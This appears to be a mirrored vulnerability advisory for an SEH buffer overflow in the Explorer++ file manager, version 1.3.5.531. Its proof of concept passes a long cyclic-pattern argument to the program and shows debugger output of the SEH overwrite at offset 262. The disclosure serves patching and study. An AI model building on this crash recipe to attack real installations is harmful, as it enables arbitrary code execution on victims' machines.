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Explorer32++ 1.3.5.531 Buffer Overflow

🗓️ 27 Mar 2023 00:00:00Reported by Rafael PedreroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 149 Views

Explorer++ 1.3.5.531 Buffer Overflow in Structured Exception Handle

Code
`# Exploit Title: Explorer32++ 1.3.5.531 - Buffer overflow  
# Discovery by: Rafael Pedrero  
# Discovery Date: 2022-01-09  
# Vendor Homepage: http://www.explorerplusplus.com/  
# Software Link : http://www.explorerplusplus.com/  
# Tested Version: 1.3.5.531  
# Tested on: Windows 10  
  
CVSS v3: 7.3  
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H  
CWE: CWE-119  
  
Buffer overflow controlling the Structured Exception Handler (SEH) records  
in Explorer++ 1.3.5.531, and possibly other versions, may allow attackers  
to execute arbitrary code via a long file name argument.  
  
Proof of concept:  
  
Open Explorer32++.exe from command line with a large string in Arguments,  
more than 396 chars:  
  
File '<Explorer++_PATH>\Explorer32++.exe'  
Arguments  
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'  
  
SEH chain of main thread  
Address SE handler  
0018FB14 00690041  
00370069 *** CORRUPT ENTRY ***  
  
0BADF00D [+] Examining SEH chain  
0BADF00D SEH record (nseh field) at 0x0018fb14 overwritten with  
unicode pattern : 0x00370069 (offset 262), followed by 626 bytes of cyclic  
data after the handler  
  
  
`

Data

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27 Mar 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
149